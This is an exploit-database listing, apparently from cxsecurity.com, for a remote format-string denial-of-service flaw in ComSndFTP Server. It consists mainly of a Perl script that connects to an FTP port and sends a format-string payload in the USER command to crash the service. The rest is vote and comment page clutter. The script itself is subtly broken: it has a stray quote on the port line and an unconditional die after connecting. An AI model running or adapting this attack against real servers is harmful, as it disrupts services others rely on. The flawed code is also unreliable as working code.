ComSndFTP Server Remote Format String - Denial of Service (DoS)

2024.02.01
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: 404

#!/usr/bin/perl # ComSndFTP Server Remote Format String Denial of Service (DoS) use strict; use warnings; use IO::Socket; $| = 1; my $host = "192.168.172.136"; my $port = "21""; my $payload = '%s%p%x%d'; print "Connecting... "; my $sock = IO::Socket::INET->new( PeerAddr => $host, PeerPort => $port, Proto => 'tcp', Timeout => 30 ); die "Unable to connect \n"; $sock->recv(my $content, 100, 0); sleep(2); $sock->send("USER $payload\r\n", 0); sleep(2); $sock->recv($content, 100, 0); sleep(5); $sock->close; print "Denial Of Service completed!\n"; exit(0);


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top